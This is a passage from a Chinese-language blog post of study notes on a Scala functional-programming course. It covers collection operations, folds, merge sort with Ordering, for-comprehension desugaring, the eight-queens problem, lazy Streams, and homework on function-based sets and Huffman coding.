<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> getMapValue(s: String): String =</div><div class="line">  myMap.get(s).map(<span class="string">"Value found: "</span> + _).getOrElse(<span class="string">"No value found"</span>)</div></pre></td></tr></table></figure>


<p>恩，反正各种写法都可以，让人开始怀疑人生……另外还有遇到匿名函数时的简写法：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">val</span> pairs: List[(Char, Int)] = ('a', <span class="number">2</span>) :: ('b', <span class="number">3</span>) :: Nil</div><div class="line"><span class="keyword">val</span> chars: List[Char] = pairs.map(p =&gt; p <span class="keyword">match</span> {</div><div class="line">  <span class="keyword">case</span> (ch, num) =&gt; ch</div><div class="line">})</div></pre></td></tr></table></figure>


<p>=&gt;</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">val</span> chars: List[Char] = pairs map {</div><div class="line">  <span class="keyword">case</span> (ch, num) =&gt; ch</div><div class="line">}</div></pre></td></tr></table></figure>


<h3 id="Collections">Collections</h3>
<p>Scala里的各种collections也是大杂烩啊，包含了普通语言中常见的那些Array, List, Map, Set，也有FP中经典的Tuple，Stream……借用一下别人的归纳：</p>
<p><strong>基类</strong></p>
<ul>
<li><code>Iterable</code></li>
<li><code>Seq</code></li>
<li><code>Set</code></li>
<li><code>Map</code></li>
</ul>
<p><strong>不可变类</strong></p>
<ul>
<li><code>List</code> (linked list, provides fast sequential access)</li>
<li><code>Stream</code> (same as List, except that the tail is evaluated only on demand)</li>
<li><code>Vector</code> (array-like type, implemented as tree of blocks, provides fast random access)</li>
<li><code>Range</code> (ordered sequence of integers with equal spacing)</li>
<li><code>String</code> (Java type, implicitly converted to a character sequence, so you can treat every string like a Seq[Char])</li>
<li><code>Map</code> (collection that maps keys to values)</li>
<li><code>Set</code> (collection without duplicate elements)</li>
</ul>
<p><strong>可乱变类</strong></p>
<ul>
<li><code>Array</code> (Scala arrays are native JVM arrays at runtime, therefore they are very performant)</li>
<li><code>scala.collection.mutable.Map</code> and <code>scala.collection.mutable.Set</code> (除非默认的Map，Set性能太差，否则不建议使用)</li>
</ul>
<p>直接从wiki拖个例子列表：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div><div class="line">87</div><div class="line">88</div><div class="line">89</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">val</span> fruitList = List(<span class="string">"apples"</span>, <span class="string">"oranges"</span>, <span class="string">"pears"</span>)</div><div class="line"><span class="comment">// Alternative syntax for lists</span></div><div class="line"><span class="keyword">val</span> fruit = <span class="string">"apples"</span> :: (<span class="string">"oranges"</span> :: (<span class="string">"pears"</span> :: Nil)) <span class="comment">// parens optional, :: is right-associative</span></div><div class="line">fruit.head   <span class="comment">// "apples"</span></div><div class="line">fruit.tail   <span class="comment">// List("oranges", "pears")</span></div><div class="line"><span class="keyword">val</span> empty = List()</div><div class="line"><span class="keyword">val</span> empty = Nil</div><div class="line"> </div><div class="line"><span class="keyword">val</span> nums = Vector(<span class="string">"louis"</span>, <span class="string">"frank"</span>, <span class="string">"hiromi"</span>)</div><div class="line">nums(<span class="number">1</span>)                     <span class="comment">// element at index 1, returns "frank", complexity O(log(n))</span></div><div class="line">nums.updated(<span class="number">2</span>, <span class="string">"helena"</span>)   <span class="comment">// new vector with a different string at index 2, complexity O(log(n))</span></div><div class="line"> </div><div class="line"><span class="keyword">val</span> fruitSet = Set(<span class="string">"apple"</span>, <span class="string">"banana"</span>, <span class="string">"pear"</span>, <span class="string">"banana"</span>)</div><div class="line">fruitSet.size    <span class="comment">// returns 3: there are no duplicates, only one banana</span></div><div class="line"> </div><div class="line"><span class="keyword">val</span> r: Range = <span class="number">1</span> until <span class="number">5</span> <span class="comment">// 1, 2, 3, 4</span></div><div class="line"><span class="keyword">val</span> s: Range = <span class="number">1</span> to <span class="number">5</span>    <span class="comment">// 1, 2, 3, 4, 5</span></div><div class="line"><span class="number">1</span> to <span class="number">10</span> by <span class="number">3</span>  <span class="comment">// 1, 4, 7, 10</span></div><div class="line"><span class="number">6</span> to <span class="number">1</span> by -<span class="number">2</span>  <span class="comment">// 6, 4, 2</span></div><div class="line"> </div><div class="line"><span class="keyword">val</span> s = (<span class="number">1</span> to <span class="number">6</span>).toSet</div><div class="line">s map (_ + <span class="number">2</span>) <span class="comment">// adds 2 to each element of the set</span></div><div class="line"> </div><div class="line"><span class="keyword">val</span> s = <span class="string">"Hello World"</span></div><div class="line">s filter (c =&gt; c.isUpper) <span class="comment">// returns "HW"; strings can be treated as Seq[Char]</span></div><div class="line"> </div><div class="line"><span class="comment">// Operations on sequences</span></div><div class="line"><span class="keyword">val</span> xs = List(...)</div><div class="line">xs.length   <span class="comment">// number of elements, complexity O(n)</span></div><div class="line">xs.last     <span class="comment">// last element (exception if xs is empty), complexity O(n)</span></div><div class="line">xs.init     <span class="comment">// all elements of xs but the last (exception if xs is empty), complexity O(n)</span></div><div class="line">xs take n   <span class="comment">// first n elements of xs</span></div><div class="line">xs drop n   <span class="comment">// the rest of the collection after taking n elements</span></div><div class="line">xs(n)       <span class="comment">// the nth element of xs, complexity O(n)</span></div><div class="line">xs ++ ys    <span class="comment">// concatenation, complexity O(n)</span></div><div class="line">xs.reverse  <span class="comment">// reverse the order, complexity O(n)</span></div><div class="line">xs updated(n, x)  <span class="comment">// same list than xs, except at index n where it contains x, complexity O(n)</span></div><div class="line">xs indexOf x      <span class="comment">// the index of the first element equal to x (-1 otherwise)</span></div><div class="line">xs contains x     <span class="comment">// same as xs indexOf x &gt;= 0</span></div><div class="line">xs filter p       <span class="comment">// returns a list of the elements that satisfy the predicate p</span></div><div class="line">xs filterNot p    <span class="comment">// filter with negated p </span></div><div class="line">xs partition p    <span class="comment">// same as (xs filter p, xs filterNot p)</span></div><div class="line">xs takeWhile p    <span class="comment">// the longest prefix consisting of elements that satisfy p</span></div><div class="line">xs dropWhile p    <span class="comment">// the remainder of the list after any leading element satisfying p have been removed</span></div><div class="line">xs span p         <span class="comment">// same as (xs takeWhile p, xs dropWhile p)</span></div><div class="line"> </div><div class="line">List(x1, ..., xn) reduceLeft op    <span class="comment">// (...(x1 op x2) op x3) op ...) op xn</span></div><div class="line">List(x1, ..., xn).foldLeft(z)(op)  <span class="comment">// (...( z op x1) op x2) op ...) op xn</span></div><div class="line">List(x1, ..., xn) reduceRight op   <span class="comment">// x1 op (... (x{n-1} op xn) ...)</span></div><div class="line">List(x1, ..., xn).foldRight(z)(op) <span class="comment">// x1 op (... (    xn op  z) ...)</span></div><div class="line"> </div><div class="line">xs exists p    <span class="comment">// true if there is at least one element for which predicate p is true</span></div><div class="line">xs forall p    <span class="comment">// true if p(x) is true for all elements</span></div><div class="line">xs zip ys      <span class="comment">// returns a list of pairs which groups elements with same index together</span></div><div class="line">xs unzip       <span class="comment">// opposite of zip: returns a pair of two lists</span></div><div class="line">xs.flatMap f   <span class="comment">// applies the function to all elements and concatenates the result</span></div><div class="line">xs.sum         <span class="comment">// sum of elements of the numeric collection</span></div><div class="line">xs.product     <span class="comment">// product of elements of the numeric collection</span></div><div class="line">xs.max         <span class="comment">// maximum of collection</span></div><div class="line">xs.min         <span class="comment">// minimum of collection</span></div><div class="line">xs.flatten     <span class="comment">// flattens a collection of collection into a single-level collection</span></div><div class="line">xs groupBy f   <span class="comment">// returns a map which points to a list of elements</span></div><div class="line">xs distinct    <span class="comment">// sequence of distinct entries (removes duplicates)</span></div><div class="line"> </div><div class="line">x +: xs  <span class="comment">// creates a new collection with leading element x</span></div><div class="line">xs :+ x  <span class="comment">// creates a new collection with trailing element x</span></div><div class="line"> </div><div class="line"><span class="comment">// Operations on maps</span></div><div class="line"><span class="keyword">val</span> myMap = Map(<span class="string">"I"</span> -&gt; <span class="number">1</span>, <span class="string">"V"</span> -&gt; <span class="number">5</span>, <span class="string">"X"</span> -&gt; <span class="number">10</span>)  <span class="comment">// create a map</span></div><div class="line">myMap(<span class="string">"I"</span>)      <span class="comment">// =&gt; 1  </span></div><div class="line">myMap(<span class="string">"A"</span>)      <span class="comment">// =&gt; java.util.NoSuchElementException  </span></div><div class="line">myMap get <span class="string">"A"</span>   <span class="comment">// =&gt; None </span></div><div class="line">myMap get <span class="string">"I"</span>   <span class="comment">// =&gt; Some(1)</span></div><div class="line">myMap.updated(<span class="string">"V"</span>, <span class="number">15</span>)  <span class="comment">// returns a new map where "V" maps to 15 (entry is updated)</span></div><div class="line">                        <span class="comment">// if the key ("V" here) does not exist, a new entry is added</span></div><div class="line"> </div><div class="line"><span class="comment">// Operations on Streams</span></div><div class="line"><span class="keyword">val</span> xs = Stream(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>)</div><div class="line"><span class="keyword">val</span> xs = Stream.cons(<span class="number">1</span>, Stream.cons(<span class="number">2</span>, Stream.cons(<span class="number">3</span>, Stream.empty))) <span class="comment">// same as above</span></div><div class="line">(<span class="number">1</span> to <span class="number">1000</span>).toStream <span class="comment">// =&gt; Stream(1, ?)</span></div><div class="line">x #:: xs <span class="comment">// Same as Stream.cons(x, xs)</span></div><div class="line">         <span class="comment">// In the Stream's cons operator, the second parameter (the tail)</span></div><div class="line">         <span class="comment">// is defined as a "call by name" parameter.</span></div><div class="line">         <span class="comment">// Note that x::xs always produces a List</span></div><div class="line"> </div><div class="line"><span class="keyword">val</span> pair = (<span class="string">"answer"</span>, <span class="number">42</span>)   <span class="comment">// type: (String, Int)</span></div><div class="line"><span class="keyword">val</span> (label, value) = pair   <span class="comment">// label = "answer", value = 42  </span></div><div class="line">pair._1 <span class="comment">// "answer"  </span></div><div class="line">pair._2 <span class="comment">// 42</span></div></pre></td></tr></table></figure>


<p>这下大家满足了吧！某一周的作业就是用这些方法来写一个霍夫曼树编码，相当精炼的感觉！重点来几个语法糖酷炫一下：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sum(xs: List[Int]): Int = xs <span class="keyword">match</span> {</div><div class="line">  <span class="keyword">case</span> Nil =&gt; <span class="number">0</span></div><div class="line">  <span class="keyword">case</span> y :: ys =&gt; y + sum(ys)</div><div class="line">}</div></pre></td></tr></table></figure>


<p>这是最初版本，然后我们用上<code>reduceLeft</code>：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sum(xs: List[Int]) = (<span class="number">0</span> :: xs) reduceLeft ((x, y) =&gt; x + y)</div></pre></td></tr></table></figure>


<p>恩，怎么有个<code>0 :: xs</code>，不优雅！换<code>foldLeft</code>，顺便把那个匿名函数也搞成<strong>颜文字</strong>把！</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sum(xs: List[Int]) = (xs foldLeft <span class="number">0</span>) (_ + _)</div></pre></td></tr></table></figure>


<p>简单吗？还可以更犀利！</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> sum(xs: List[Int]) = (<span class="number">0</span>/:xs) (_ + _)</div></pre></td></tr></table></figure>


<p>这样是不是不太好啊！</p>
<h3 id="Ordering">Ordering</h3>
<p>写了这么多有点累了，接下来写的简洁点，如果不够以后再补充。<code>Ordering</code>主要是实现了一些比较函数如<code>lt()</code>，<code>gt()</code>等，我们可以利用它（大多数还是上面的collection的操作）来写个merge sort：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">import</span> math.Ordering  </div><div class="line"> </div><div class="line"><span class="keyword">def</span> msort[T](xs: List[T])(implicit ord: Ordering[T]): List[T] = {</div><div class="line">  <span class="keyword">val</span> n = xs.length / <span class="number">2</span></div><div class="line">  <span class="keyword">if</span> (n == <span class="number">0</span>) xs</div><div class="line">  <span class="keyword">else</span> {</div><div class="line">    <span class="keyword">def</span> merge(xs: List[T], ys: List[T]): List[T] = (xs, ys) <span class="keyword">match</span> {</div><div class="line">      <span class="keyword">case</span> (Nil, ys) =&gt; ys</div><div class="line">      <span class="keyword">case</span> (xs, Nil) =&gt; xs</div><div class="line">      <span class="keyword">case</span> (x :: xs1, y :: ys1) =&gt; {</div><div class="line">        <span class="keyword">if</span> (ord.lt(x, y)) x :: merge(xs1, ys)</div><div class="line">        <span class="keyword">else</span> y :: merge(xs, ys1)</div><div class="line">      }</div><div class="line">    }</div><div class="line">    <span class="keyword">val</span> (fst, snd) = xs splitAt n</div><div class="line">    merge(msort(fst), msort(snd))</div><div class="line">  }</div><div class="line">}</div><div class="line">msort(fruits)(Ordering.String)</div><div class="line">msort(fruits)   <span class="comment">// the compiler figures out the right ordering</span></div></pre></td></tr></table></figure>


<p>这样就可以自动对数字或者字符排序了！当然Scala其实自己也有很多排序函数，比如可以这样对一个Map根据其Key的长度来排序：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">myMap.toSeq.sortBy(_._1.length).reverse</div></pre></td></tr></table></figure>


<h3 id="For-Comprehensions">For-Comprehensions</h3>
<p>Scala的for语句还是很有特色的，大致的形式就是<code>for (s) yield e</code>其中<code>s</code>中是生成器（<code>p &lt;- e</code>）和过滤器（<code>if cond</code>），如果有多个生成器就相当于多重循环了！最后的<code>e</code>是要返回的内容，然后可以把整个返回的内容作为一个collection再应用上面列举的那些方法做各种处理。示范代码：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="comment">// list all combinations of numbers x and y where x is drawn from</span></div><div class="line"><span class="comment">// 1 to M and y is drawn from 1 to N</span></div><div class="line"><span class="keyword">for</span> (x &lt;- <span class="number">1</span> to M; y &lt;- <span class="number">1</span> to N)</div><div class="line">  <span class="keyword">yield</span> (x,y)</div></pre></td></tr></table></figure>


<p>这还不够，课程中还提到for语句可以完全转换成另一种形式：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">(<span class="number">1</span> to M) flatMap (x =&gt; (<span class="number">1</span> to N) map (y =&gt; (x, y)))</div></pre></td></tr></table></figure>


<p>详细的规则如下：</p>
<ul>
<li><code>for (x &lt;- e1) yield e2</code> is translated to <code>e1.map(x =&gt; e2)</code></li>
<li><code>for (x &lt;- e1 if f; s) yield e2</code> is translated to <code>for (x &lt;- e1.withFilter(x =&gt; f); s) yield e2</code></li>
<li><code>for (x &lt;- e1; y &lt;- e2; s) yield e3</code> is translated to <code>e1.flatMap(x =&gt; for (y &lt;- e2; s) yield e3)</code></li>
</ul>
<p>再来个应用例子：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">for</span> {</div><div class="line">  i &lt;- <span class="number">1</span> until n</div><div class="line">  j &lt;- <span class="number">1</span> until i</div><div class="line">  <span class="keyword">if</span> isPrime(i + j)</div><div class="line">} <span class="keyword">yield</span> (i, j)</div></pre></td></tr></table></figure>


<p>就可以直接转化成：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">(<span class="number">1</span> until n) flatMap (i =&gt; (<span class="number">1</span> until i) withFilter (j =&gt; isPrime(i+j))</div><div class="line">  map (j =&gt; (i, j)))</div></pre></td></tr></table></figure>


<p>也就是说如果你在类中定义了<code>flatMap</code>，<code>withFilter</code>，<code>map</code>就可以自由地对你的类型使用for语句啦！(类似实现<code>Iterator</code>？)</p>
<p>课上还用它写了个实际的8皇后问题：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> isSafe(col: Int, queens: List[Int]): Boolean = {</div><div class="line">  <span class="keyword">val</span> row = queens.length</div><div class="line">  <span class="keyword">val</span> queensWithRow = (row - <span class="number">1</span> to <span class="number">0</span> by -<span class="number">1</span>) zip queens</div><div class="line">  queensWithRow forall {</div><div class="line">    <span class="keyword">case</span> (r, c) =&gt; col != c && math.abs(col - c) != row - r</div><div class="line">  }</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="keyword">def</span> queens(n: Int): Set[List[Int]] = {</div><div class="line">  <span class="keyword">def</span> placeQueens(k: Int): Set[List[Int]] = {</div><div class="line">    <span class="keyword">if</span> (k == <span class="number">0</span>) Set(List())</div><div class="line">    <span class="keyword">else</span> <span class="keyword">for</span> {</div><div class="line">      queens &lt;- placeQueens(k - <span class="number">1</span>)</div><div class="line">      col &lt;- <span class="number">0</span> until n</div><div class="line">      <span class="keyword">if</span> isSafe(col, queens)</div><div class="line">    } <span class="keyword">yield</span> col :: queens</div><div class="line">  }</div><div class="line">  placeQueens(n)</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="keyword">def</span> show(queens: List[Int]) = {</div><div class="line">  <span class="keyword">val</span> lines = {</div><div class="line">    <span class="keyword">for</span> (col &lt;- queens.reverse)</div><div class="line">    <span class="keyword">yield</span> Vector.fill(queens.length)(<span class="string">"* "</span>).updated(col, <span class="string">"X "</span>).mkString</div><div class="line">  }</div><div class="line">  <span class="string">"\n"</span> + (lines mkString <span class="string">"\n"</span>)</div><div class="line">}</div><div class="line">(queens(<span class="number">8</span>) take <span class="number">1</span> map show) mkString <span class="string">"\n"</span></div></pre></td></tr></table></figure>


<h3 id="Stream_and_Lazy_Evaluation">Stream and Lazy Evaluation</h3>
<p>Stream也是在collections里的一种，但它性质有些特别，所以就单独拿出来看一下。Stream基本可以当成一个惰性求值的list来看，课上给了一个这样的例子：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">((<span class="number">1000</span> to <span class="number">10000</span>) filter isPrime)(<span class="number">1</span>)</div></pre></td></tr></table></figure>


<p>这行代码会寻找在1000到10000范围内的质数，然后取第2个。但虽然我们只需要取2个质数，程序还是会先把所有在范围内的质数取出来再取第二个，浪费了很多无用的计算。这时候就可以利用我们的stream来优化性能了：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">((<span class="number">1000</span> to <span class="number">10000</span>).toStream filter isPrime)(<span class="number">1</span>)</div></pre></td></tr></table></figure>


<p>还可以生成无限长度的序列并进行计算：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">def</span> from(n: Int): Stream[Int] = n #:: from(n+<span class="number">1</span>)</div><div class="line"><span class="keyword">val</span> nats = from(<span class="number">0</span>)</div><div class="line"><span class="keyword">def</span> sieve(s: Stream[Int]): Stream[Int] =</div><div class="line">  s.head #:: sieve(s.tail filter (_ % s.head != <span class="number">0</span>))</div><div class="line"><span class="keyword">val</span> primes = sieve(from(<span class="number">2</span>))</div><div class="line">primes.take(<span class="number">10</span>).toList</div></pre></td></tr></table></figure>


<p>这里首先是生成一个自然数的stream，然后sieve函数取出这个stream的头，把后面所有能被它整除的数都过滤掉，这样就可以生成一个质数的stream，看起来挺违反直觉的，不过课上有详细的展开，我们这边就拿个最简单的<code>take(1)</code>来看下吧：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">(from(<span class="number">2</span>).head #:: sieve(from(<span class="number">2</span>).tail filter (_ % from(<span class="number">2</span>).head != <span class="number">0</span>))).take(<span class="number">1</span>)</div></pre></td></tr></table></figure>


<p>然后由于是个stream，<code>#::</code>操作符后面那部分是惰性求值的，这里跑<code>take(1)</code>所以直接拿<code>from(2).head</code>就行了，后面的都不会被求值，最终输出2。</p>
<p>Racket跟Scala一样是call-by-value的，所以函数中的参数也必须先求值。但Racket里也可以生成stream，用的是一种叫<code>thunk</code>的技术！大致就是把函数原来的参数变成一个匿名函数，只有在call它的时候才会去求值，然后同理就可以用递归构造出一个无穷的stream来啦！</p>
<p>另外Scala里的lazy evaluation还可以用来做mutual recursion，来解释一些<strong>哲学</strong>问题：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Chicken</span> <span class="params">(e: =&gt; Egg)</span> </span>{</div><div class="line">  <span class="keyword">lazy</span> <span class="keyword">val</span> offspring = e</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">Egg</span> <span class="params">(c: =&gt; Chicken)</span> </span>{</div><div class="line">  <span class="keyword">lazy</span> <span class="keyword">val</span> mother = c</div><div class="line">}</div><div class="line"> </div><div class="line"><span class="keyword">lazy</span> <span class="keyword">val</span> chicken: Chicken = <span class="keyword">new</span> Chicken(egg)</div><div class="line"><span class="keyword">lazy</span> <span class="keyword">val</span> egg: Egg         = <span class="keyword">new</span> Egg(chicken)</div></pre></td></tr></table></figure>


<h2 id="作业">作业</h2>
<p>最后讲讲这门课的作业吧！总共7周的作业，选几个有趣的来看看。</p>
<h3 id="FuncSet">FuncSet</h3>
<p>这个作业是用函数方式来表示一个集合（Set）。我们传统概念中的集合，自然而然会联想到数组啊链表啊这样的数据结构，然后在此基础上去实现集合的各种接口。但是在这个作业里，我们要用函数来表示一个集合，用操作集合的规范来定义这个集合。这么说有点抽象，可以直接看代码：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">type</span> Set = Int =&gt; Boolean</div><div class="line"><span class="keyword">def</span> contains(s: Set, elem: Int): Boolean = s(elem)</div><div class="line"><span class="keyword">def</span> singletonSet(elem: Int): Set = (i: Int) =&gt; i == elem</div><div class="line"><span class="keyword">def</span> union(s: Set, t: Set): Set = (i: Int) =&gt; s(i) || t(i)</div><div class="line"><span class="keyword">def</span> intersect(s: Set, t: Set): Set = (i: Int) =&gt; s(i) && t(i)</div><div class="line"><span class="keyword">def</span> diff(s: Set, t: Set): Set = (i: Int) =&gt; s(i) && !t(i)</div><div class="line"><span class="keyword">def</span> filter(s: Set, p: Int =&gt; Boolean): Set = (i: Int) =&gt; s(i) && p(i)</div><div class="line"><span class="keyword">val</span> bound = <span class="number">1000</span></div><div class="line"><span class="keyword">def</span> forall(s: Set, p: Int =&gt; Boolean): Boolean = {</div><div class="line">  <span class="keyword">def</span> iter(a: Int): Boolean = {</div><div class="line">    <span class="keyword">if</span> (a &gt; bound) <span class="keyword">true</span></div><div class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (s(a) && !p(a)) <span class="keyword">false</span></div><div class="line">    <span class="keyword">else</span> iter(a + <span class="number">1</span>)</div><div class="line">  }</div><div class="line">  iter(-bound)</div><div class="line">}</div><div class="line"><span class="keyword">def</span> exists(s: Set, p: Int =&gt; Boolean): Boolean = !forall(s, !p(_))</div><div class="line"><span class="keyword">def</span> map(s: Set, f: Int =&gt; Int): Set = (i: Int) =&gt; exists(s, f(_) == i)</div></pre></td></tr></table></figure>


<p>直接用了<code>(Int =&gt; Boolean)</code>的函数来表示一个集合，然后各种操作也都是去改变这个函数的行为。不过用这种方式没法做出一个迭代器来，要改成线性表形式才行。当然线性表形式结构也是可以用函数式方法来表示的。</p>
<h3 id="Huffman_Code">Huffman Code</h3>
<p>用Scala来实现Huffman编码，与实际问题结合更能体验函数式编程的表达方式。给出的框架代码把问题分割地很好，只要一块一块实现下来就行，每个函数基本上都在十行以内，逻辑也很顺畅明了：</p>
<figure class="highlight scala"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div></pre></td><td class="code"><pre><div class="line"><span class="comment">// Huffman code tree的类定义</span></div><div class="line">  <span class="keyword">abstract</span> <span class="class"><span class="keyword">class</span> <span class="title">CodeTree</span></span></div><div class="line">  <span class="class"><span class="keyword">case</span> <span class="keyword">class</span> <span class="title">Fork</span><span class="params">(left: CodeTree, right: CodeTree, chars: List[Char], weight: Int)</span> <span class="keyword">extends</span> <span class="title">CodeTree</span></span></div><div class="line">  <span class="class"><span class="keyword">case</span> <span class="keyword">class</span> <span class="title">Leaf</span><span class="params">(char: Char, weight: Int)</span> <span class="keyword">extends</span> <span class="title">CodeTree</span></span></div><div class="line"> </div><div class="line"><span class="comment">// 统计char的出现次数</span></div><div class="line">  <span class="keyword">def</span> times(chars: List[Char]): List[(Char, Int)] = {</div><div class="line">    <span class="keyword">def</span> incr(acc: Map[Char, Int], c: Char) = {</div><div class="line">      <span class="keyword">val</span> count = (acc get c).getOrElse(<span class="number">0</span>) + <span class="number">1</span></div><div class="line">      acc + ((c, count))</div><div class="line">    }</div><div class="line">    (Map[Char, Int]() /: chars)(incr).toList</div><div class="line">  }</div><div class="line"> </div><div class="line"><span class="comment">// 生成叶子节点的list，每个char出现的次数即为节点的权重</span></div><div class="line">  <span class="keyword">def</span> makeOrderedLeafList(freqs: List[(Char, Int)]): List[Leaf] = freqs.sortBy(_._2) map((f) =&gt; Leaf(f._1, f._2))</div><div class="line"> </div><div class="line"><span class="comment">// 把上面生成的叶子节点的list缓缓地merge成一整棵树！</span></div><div class="line"><span class="comment">// Huffman code 